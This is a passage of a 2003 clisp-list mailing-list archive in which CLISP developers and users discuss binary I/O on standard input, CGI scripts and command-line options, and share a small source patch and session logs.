22085157 --------------------------------------------------------------------- GnuPG public key: 8A265334 Fingerprint CF71 08D2 18B8 A824 37A5 B80E 0888 37E1 8A26 5334 --------------------------------------------------------------------- --=-Q7ysK3dsOjWqsN42elME Content-Type: application/pgp-signature; name=signature.asc Content-Description: Dies ist ein digital signierter Nachrichtenteil -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA+wlhgCIg34YomUzQRAiLXAJ0eWj27DARuhctGdPZCI7f4Fu9zegCgmw3x Si6+hv1xS7JP0Jr5V1DPSoo= =uhmr -----END PGP SIGNATURE----- --=-Q7ysK3dsOjWqsN42elME-- From Joerg-Cyril.Hoehle@t-systems.com Wed May 14 07:54:30 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FxeG-0007Ed-00 for ; Wed, 14 May 2003 07:54:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 14 May 2003 16:54:15 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 14 May 2003 16:54:15 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE044489A1@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CGI & binary i/o with stdio: solution proposal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 07:55:14 2003 X-Original-Date: Wed, 14 May 2003 16:54:13 +0200 Hi, I wrote >What do you expect to read from the following stream? >(ext:make-pipe-io-stream "clisp -x '(describe >*standard-output*)(exit)'") Since I am convinced that an extra command line option is needed, I investigated that path. It works. Without actually adding a switch, I just hacked my CLISP to always use a file-stream for standard-input and output. On such a stream, (SETF (STREAM-ELEMENT-TYPE) works, so I can do binary i/o on stdio! Witness the session log: [8]> *standard-output* # [9]> *standard-input* # [1]> *error-output* # [2]> *debug-io* # [3]> *query-io* # [4]> (setq *error-output* *debug-io*) ; errors still to terminal # [5]> (unwind-protect (progn (setf (stream-element-type *standard-input*) '(unsigned-byte 8)) (read-byte *Standard-input*)) (setf (stream-element-type *standard-input*) 'character)) abcdef 97 ; ASCII for a [6]> *** - EVAL: variable BCDEF has no value ; what was left on the line The following restarts are available: STORE-VALUE :R1 You may input a new value for BCDEF. USE-VALUE :R2 You may input a value to be used instead of BCDEF. 1. Break [7]> :a [10]> (file-position *standard-output*) NIL [11]> (file-position *standard-input*) NIL Here's the trivial diff *************** *** 15330,15339 **** --- 15333,15344 ---- # UP: Return the default value for *terminal-io*. # can trigger GC local object make_terminal_io (void) { # If stdin or stdout is a file, use a buffered stream instead of an # unbuffered terminal stream. For the ud2cd program used as filter, # this reduces the runtime on Solaris from 165 sec to 47 sec. var bool stdin_file = regular_handle_p(stdin_handle); var bool stdout_file = regular_handle_p(stdout_handle); + # JCH HACK to experiment with setf stream-element-type + stdin_file = true; stdout_file= true; if (stdin_file || stdout_file) { var object stream; # Allocate stream for stdin: if (stdin_file) { #ifdef UNIX The hack needs a little more polishing, because *error-output* is set EQ to *standard-output*, which for the demo & debugging I don't like. That explains my step 4. [4]> (setq *error-output* *debug-io*) global void init_streamvars (bool unixyp) # src/stream.d stream = Symbol_value(S(standard_output)); define_variable(S(error_output),stream); # *ERROR-OUTPUT* The remaining questions now are: 1. What should *standard-error* become in such a case? It would be wise *not* to have it bound to the file stream object as *standard-output*. If it's used in binary mode, an infinite loop results of this, and a Lisp STACK overflow. I prefer to have *standard-error* still point to *terminal-io* (which remains a pure character stream) (or a handle for file descriptor #2, if exists). That means that error and trace messages would be mixed as ASCII into the binary output -- at least you get to see something. Of course, a CGI application needs to play safe and direct its *trace- etc -output* to something reasonable. 2. What should the command-line option be called? -noI comes to mind (readline would have to be disabled as well). BTW, do we really need -repl? I thought, like -i for sh/csh, something to force interactive mode might be enough, together with -noi? I feel this binary i/o issue is related to forced non-interactive (aka batch) mode. Normally, you wouldn't use a file-stream on an interactive terminal, like I did. You only want that in pipes or sockets (e.g. the cgi application case). There, you have to define what entering the debugger means... Do you really want a Lisp error message go into HTML output? Do you want the debugger to wait for commands from your HTTP-1.1 stream? -- no! And yes, I feel like CLISP misses an option to indicate (force) batch mode. Currently, it guesses: if ((argv_compile || argv_expr_count || argv_execute_file != NULL) && !argv_interactive_debug && !argv_repl) { # '-c' or '-x' or file specified -> LISP runs in batch-mode: But it can guess wrong. I could build an image and need neither -i file nor -x to start since the image's startup function could do all I want (e.g. obtain data from ext:getenv instead of via -x): typical cgi. Regards, Jorg Hohle. From sds@gnu.org Wed May 14 08:02:03 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Fxlb-0001b0-00 for ; Wed, 14 May 2003 08:02:03 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030514150156.EOKQ12592.out001.verizon.net@loiso.podval.org>; Wed, 14 May 2003 10:01:56 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4EF2BEp016551; Wed, 14 May 2003 11:02:11 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4EF26xP016547; Wed, 14 May 2003 11:02:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Thibault Langlois Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-byte and *standard-input* References: <1052923094.2987.28.camel@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1052923094.2987.28.camel@localhost.localdomain> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [68.160.9.251] at Wed, 14 May 2003 10:01:56 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 08:03:02 2003 X-Original-Date: 14 May 2003 11:02:06 -0400 > * In message <1052923094.2987.28.camel@localhost.localdomain> > * On the subject of "[clisp-list] read-byte and *standard-input*" > * Sent on 14 May 2003 15:38:15 +0100 > * Honorable Thibault Langlois writes: > > $ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf > (stream-element-type *standard-input*) '(unsigned-byte 8)))" > > "2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" > *** - (SETF STREAM-ELEMENT-TYPE) on # is > illegal $ cat bin-stdio.lisp (progn (format t "~s=~s~%" '*standard-input* *standard-input*) (setf (stream-element-type *standard-input*) '(unsigned-byte 8)) (format t "~s=~s~%" '*standard-input* *standard-input*) (setq buf (make-array 5 :element-type '(unsigned-byte))) (format t "read ~:d bytes:~%~s=~s~%" (read-sequence buf *standard-input*) buf (convert-string-from-bytes buf charset:utf-8)) (quit)) 123456789 $ ./clisp -q -norc < ../../bugs/bin-stdio.lisp *STANDARD-INPUT*=# *STANDARD-INPUT*=# read 5 bytes: #(10 49 50 51 52)= " 1234" $ -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Modern man is the missing link between apes and human beings. From Joerg-Cyril.Hoehle@t-systems.com Wed May 14 08:43:25 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FyPa-000141-00 for ; Wed, 14 May 2003 08:43:23 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 14 May 2003 17:43:15 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 14 May 2003 17:43:15 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE044489BD@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tl@inesc.pt Subject: [clisp-list] read-byte and *standard-input* MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 08:44:14 2003 X-Original-Date: Wed, 14 May 2003 17:43:14 +0200 Thibault Langlois wrote: >$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf >(stream-element-type *standard-input*) '(unsigned-byte 8)))" > >"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" >*** - (SETF STREAM-ELEMENT-TYPE) on # is >illegal Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that. You're not yet talking to the real standard-input. $ clisp -q -norc -x '*standard-input*' # IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing. $ clisp -q -norc -x '(read-char *standard-input*)' #\Newline ; I didn't type anything. It's just there because of -x I believe. >I must be doing something wrong. Maybe, maybenot. One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost! This enters a REPL clisp clisp -repl This does not clisp -x clisp -c clisp file Not affecting REPL behaviour: -i -interactive-debug Which means that clisp -i foo.lisp -x '(main)' cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes. You need to save *standard-input* in foo.lisp and use that saved value in the -x expression. clisp -x '...' foo.lisp does not work as (naively?) expected, either. $ clisp -q -x '123' /tmp/binary.lisp *** - EVAL: variable 123/TMP/BINARY.LISP has no value Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help) Actions: -c [-l] lispfile [-o outputfile] - compile LISPFILE -x expressions - execute the expressions, then exit lispfile [argument ...] - load lispfile, then exit I.e. you have to choose among these, and cannot combine. Regards, Jorg Hohle. From sds@gnu.org Wed May 14 08:54:36 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FyaS-0007Rg-00 for ; Wed, 14 May 2003 08:54:36 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030514155429.PETH28930.out004.verizon.net@loiso.podval.org>; Wed, 14 May 2003 10:54:29 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4EFsiEp016666; Wed, 14 May 2003 11:54:44 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4EFsh85016662; Wed, 14 May 2003 11:54:43 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christof Bodner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] QSIM & clisp References: <1052924000.31252.5.camel@rosi.local> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1052924000.31252.5.camel@rosi.local> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [68.160.9.251] at Wed, 14 May 2003 10:54:29 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 08:55:08 2003 X-Original-Date: 14 May 2003 11:54:43 -0400 > * In message <1052924000.31252.5.camel@rosi.local> > * On the subject of "[clisp-list] QSIM & clisp" > * Sent on 14 May 2003 16:53:20 +0200 > * Honorable Christof Bodner writes: > > To be honest, I am not very experienced with LISP. But I want to use > the QSIM package (http://www.cs.utexas.edu/users/qr/QR-software.html) > with clisp. > > Following the qsim installation instructions, I get an error: > [1]> (load "start-nq.lisp") > ;; Loading file start-nq.lisp ... > ;; Loading file /home/podex/temp/qsim/c-lisp/logical-pathnames.lisp ... > *** - SYSTEM::%FIND-PACKAGE: There is no package with name > "LOGICAL-PATHNAME" you need to contact the authors and make them upgrade their code to ANSI CL. Alternatively, you can do it yourself (or hire me to do it for you). 1. CLISP provides native LOGICAL-PATHNAMEs, so you probably do not need to load "logical-pathnames.lisp" 2. CLISP has :ANSI-CL but not :CLTL2 in *FEATURES*, so you will need to go through their code replacing :CLTL2 with (OR :ANSI-CL :CLTL2), or you will have to do (PUSHNEW :CLTL2 *FEATURES*) in CLISP. 3. things like (in-package 'User) in sys-site/nq.system are cltl1, so yo will need to fix them to (in-package User) or (in-package "User") maybe more... -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux What garlic is to food, insanity is to art. From tl@inesc.pt Wed May 14 10:05:38 2003 Received: from weenie.inesc.pt ([146.193.0.232]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FzgH-0001tD-00 for ; Wed, 14 May 2003 10:04:47 -0700 Received: from localhost.localdomain (IDENT:root@exotica [172.16.3.113]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id RAA08743 for ; Wed, 14 May 2003 17:59:46 +0100 Received: (from tl@localhost) by localhost.localdomain (8.11.2/8.9.3) id h4EH29V22921 for clisp-list@lists.sourceforge.net; Wed, 14 May 2003 18:02:09 +0100 X-Authentication-Warning: localhost.localdomain: tl set sender to tl@inesc.pt using -f Subject: Re: [clisp-list] read-byte and *standard-input* From: Thibault Langlois To: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE044489BD@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE044489BD@G8PQD.blf01.telekom.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1052931727.2987.76.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 10:06:09 2003 X-Original-Date: 14 May 2003 18:02:08 +0100 On Wed, 2003-05-14 at 16:43, Hoehle, Joerg-Cyril wrote: > Thibault Langlois wrote: > >$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf > >(stream-element-type *standard-input*) '(unsigned-byte 8)))" > > > >"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" > >*** - (SETF STREAM-ELEMENT-TYPE) on # is > >illegal > > Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that. > You're not yet talking to the real standard-input. > > $ clisp -q -norc -x '*standard-input*' > # > > IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing. > > $ clisp -q -norc -x '(read-char *standard-input*)' > #\Newline ; I didn't type anything. It's just there because of -x I believe. > > > >I must be doing something wrong. > Maybe, maybenot. > > One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost! > > This enters a REPL > clisp > clisp -repl > > This does not > clisp -x > clisp -c > clisp file > > Not affecting REPL behaviour: > -i > -interactive-debug > > Which means that > clisp -i foo.lisp -x '(main)' > cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes. > > You need to save *standard-input* in foo.lisp and use that saved value in the -x expression. > > clisp -x '...' foo.lisp > does not work as (naively?) expected, either. > > $ clisp -q -x '123' /tmp/binary.lisp > *** - EVAL: variable 123/TMP/BINARY.LISP has no value > > Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help) > Actions: > -c [-l] lispfile [-o outputfile] - compile LISPFILE > -x expressions - execute the expressions, then exit > lispfile [argument ...] - load lispfile, then exit > I.e. you have to choose among these, and cannot combine. > > Regards, > Jorg Hohle. > > Thank you for your very clear explanations. Here is an example that illustrates some of the subtle aspects I did not know. exotica$ cat /tmp/test.lisp (defvar *the-real-input* *standard-input*) (defun good () (setf (stream-element-type *the-real-input*) '(unsigned-byte 8)) (print (loop repeat 10 collect (read-byte *the-real-input*)))) (defun bad () (setf (stream-element-type *standard-input*) '(unsigned-byte 8)) (print (loop repeat 10 collect (read-byte *standard-input*)))) exotica$ clisp -norc -q -i /tmp/test.lisp -x '(bad)' < /tmp/data.bz2 ;; Loading file /tmp/test.lisp ... ;; Loaded file /tmp/test.lisp *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal exotica$ clisp -norc -q -i /tmp/test.lisp -x '(good)' < /tmp/data.bz2 ;; Loading file /tmp/test.lisp ... ;; Loaded file /tmp/test.lisp (66 90 104 57 49 65 89 38 83 89) (66 90 104 57 49 65 89 38 83 89) I going now to put it all together to see if my cgi script works now. Thanks. Thibault > ------------------------------------------------------- > Enterprise Linux Forum Conference & Expo, June 4-6, 2003, Santa Clara > The only event dedicated to issues related to Linux enterprise solutions > www.enterpriselinuxforum.com > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- Thibault Langlois From tl@inesc.pt Wed May 14 10:11:42 2003 Received: from weenie.inesc.pt ([146.193.0.232]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Fzmc-00053o-00 for ; Wed, 14 May 2003 10:11:18 -0700 Received: from localhost.localdomain (IDENT:root@exotica [172.16.3.113]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id SAA08891; Wed, 14 May 2003 18:08:56 +0100 Received: (from tl@localhost) by localhost.localdomain (8.11.2/8.9.3) id h4EHBKh22955; Wed, 14 May 2003 18:11:20 +0100 X-Authentication-Warning: localhost.localdomain: tl set sender to tl@inesc.pt using -f Subject: Re: [clisp-list] read-byte and *standard-input* From: Thibault Langlois To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE044489BD@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE044489BD@G8PQD.blf01.telekom.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1052932278.2990.92.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 10:12:18 2003 X-Original-Date: 14 May 2003 18:11:19 +0100 On Wed, 2003-05-14 at 16:43, Hoehle, Joerg-Cyril wrote: > Thibault Langlois wrote: > >$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf > >(stream-element-type *standard-input*) '(unsigned-byte 8)))" > > > >"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" > >*** - (SETF STREAM-ELEMENT-TYPE) on # is > >illegal > > Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that. > You're not yet talking to the real standard-input. > > $ clisp -q -norc -x '*standard-input*' > # > > IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing. > > $ clisp -q -norc -x '(read-char *standard-input*)' > #\Newline ; I didn't type anything. It's just there because of -x I believe. > > > >I must be doing something wrong. > Maybe, maybenot. > > One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost! > > This enters a REPL > clisp > clisp -repl > > This does not > clisp -x > clisp -c > clisp file > > Not affecting REPL behaviour: > -i > -interactive-debug > > Which means that > clisp -i foo.lisp -x '(main)' > cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes. > > You need to save *standard-input* in foo.lisp and use that saved value in the -x expression. > > clisp -x '...' foo.lisp > does not work as (naively?) expected, either. > > $ clisp -q -x '123' /tmp/binary.lisp > *** - EVAL: variable 123/TMP/BINARY.LISP has no value > > Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help) > Actions: > -c [-l] lispfile [-o outputfile] - compile LISPFILE > -x expressions - execute the expressions, then exit > lispfile [argument ...] - load lispfile, then exit > I.e. you have to choose among these, and cannot combine. There is still something I do not understand: I put my test in a script file: exotica$ cat test.cgi #!/usr/local/bin/clisp -norc -q (defvar *the-real-input* *standard-input*) (defun good () (setf (stream-element-type *the-real-input*) '(unsigned-byte 8)) (print (loop repeat 10 collect (read-byte *the-real-input*)))) (defun bad () (setf (stream-element-type *standard-input*) '(unsigned-byte 8)) (print (loop repeat 10 collect (read-byte *standard-input*)))) (good) exotica$ test.cgi < /tmp/data.bz2 (66 90 104 57 49 65 89 38 83 89) But when the script is run by httpd it give the same error again (from /var/log/httpd/error_log): *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal [Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] Premature end of script headers: /home/tl/www_public/test.cgi What is wrong ? > > Regards, > Jorg Hohle. > > > ------------------------------------------------------- > Enterprise Linux Forum Conference & Expo, June 4-6, 2003, Santa Clara > The only event dedicated to issues related to Linux enterprise solutions > www.enterpriselinuxforum.com > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- Thibault Langlois From kurosawa9696@dream.com Wed May 14 10:28:15 2003 Received: from smtp6.dreamnet.ne.jp ([202.217.109.117] helo=pop06.dreamnet.ne.jp) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19G033-0006Fq-00 for ; Wed, 14 May 2003 10:28:13 -0700 Received: from pc3 ([43.244.131.39]) by pop06.dreamnet.ne.jp with SMTP id <20030514172811.NQHA19963.pop06.dreamnet.ne.jp@pc3> for ; Thu, 15 May 2003 02:28:11 +0900 From: =?ISO-2022-JP?B?GyRCTDVOQSVXJWwlPCVzJUgbKEI=?= To: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: 7bit Message-Id: <20030514172811.NQHA19963.pop06.dreamnet.ne.jp@pc3> Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoTDVOQSVXJWwlPCVzJUgbKEI=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 10:29:10 2003 X-Original-Date: Thu, 15 May 2003 02:28:11 +0900 $B!c;v6HMM$K%W%l%<%s%H!*1~JgJ}K!$O$3$A$i$+$i$I$&$>(B http://homepage3.nifty.com/gurozawa/ From Joerg-Cyril.Hoehle@t-systems.com Thu May 15 00:33:15 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GDEn-0005mO-00 for ; Thu, 15 May 2003 00:33:14 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 15 May 2003 09:31:01 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 15 May 2003 09:31:00 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04448AEF@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tl@inesc.pt Subject: Re: [clisp-list] read-byte and *standard-input* MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 00:34:01 2003 X-Original-Date: Thu, 15 May 2003 09:30:59 +0200 Thibault Langlois wrote: >There is still something I do not understand: >exotica$ test.cgi < /tmp/data.bz2 >(66 90 104 57 49 65 89 38 83 89) >But when the script is run by httpd it give the same error >again (from /var/log/httpd/error_log): >*** - (SETF STREAM-ELEMENT-TYPE) on # is illegal >[Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] >Premature end >of script headers: /home/tl/www_public/test.cgi > >What is wrong ? I'm sorry that you spent more time on this. What you miss is that current CLISP will only produce a setf-able *standard-input* if it is connected to a regular file. This is the case in your /tmp/foo$$ #syslog "got all input" clisp < /tmp/foo$$ Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu May 15 01:18:09 2003 Received: from mail2.telekom.de ([195.243.210.197]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GDw5-00064X-00 for ; Thu, 15 May 2003 01:17:58 -0700 Received: from [127.0.0.1] by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 May 2003 10:17:45 +0200 Received: from g8pxb.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 May 2003 10:17:43 +0200 Received: from g8pbr.blf01.telekom.de (g8pbr.blf01.telekom.de [164.25.63.147]) by g8pxb.blf01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 May 2003 10:18:08 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 15 May 2003 10:16:01 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04448B12@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: CGI & binary i/o with stdio: solution proposal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 15 01:19:01 2003 X-Original-Date: Thu, 15 May 2003 10:16:00 +0200 Hi, I wrote >1. What should *standard-error* become in such a case? >It would be wise *not* to have it bound to the file stream >object as *standard-output*. If it's used in binary mode, an >infinite loop results of this, and a Lisp STACK overflow. I >prefer to have *standard-error* still point to *terminal-io* >(which remains a pure character stream) (or a handle for file >descriptor #2, if exists). That means that error and trace >messages would be mixed as ASCII into the binary output -- at >least you get to see something. Actually, I confused myself yesterday: with my patch, it's *not* the case that you'd have a usable *terminal-io* in character mode while *standard-input* or -output* would be in byte mode. *terminal-io* becomes a two-way-stream, with these setf'able *standard-input* and -output* streams as components. However, my patch provides a valuable property that (setf (stream-element-type *terminal-io*) would not: Element-type of stdin and output can be set independently! I believe this is a necessity for both pipe and cgi applications. Yet I think it still would be nice to have *terminal-io* always be in character mode for both directions (at least with options like -repl or -interactive-debug). Possibly there could be distinct *standard-input* and -output* -- at least in batch mode. That's different from my patch. Regards, Jorg Hohle. From tl@di.fc.ul.pt Thu May 15 04:11:46 2003 Received: from relay1.ptm.pt ([194.65.79.75] helo=sapo.pt) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19GGeH-0006jJ-00 for ; Thu, 15 May 2003 04:11:45 -0700 Received: (qmail 9073 invoked from network); 15 May 2003 11:11:36 -0000 Received: from unknown (HELO sapo.pt) (194.65.79.72) by relay1.ptm.pt with SMTP; 15 May 2003 11:11:36 -0000 Received: (qmail 28475 invoked by uid 0); 15 May 2003 11:11:36 -0000 Received: from unknown (HELO [192.168.1.21]) (as1134686@sapo.pt@[213.13.255.159]) (envelope-sender ) by sapo.pt (qmail-ldap-1.03) with SMTP for ; 15 May 2003 11:11:36 -0000 Subject: Re: [clisp-list] read-byte and *standard-input* From: Thibault Langlois Reply-To: tl@di.fc.ul.pt 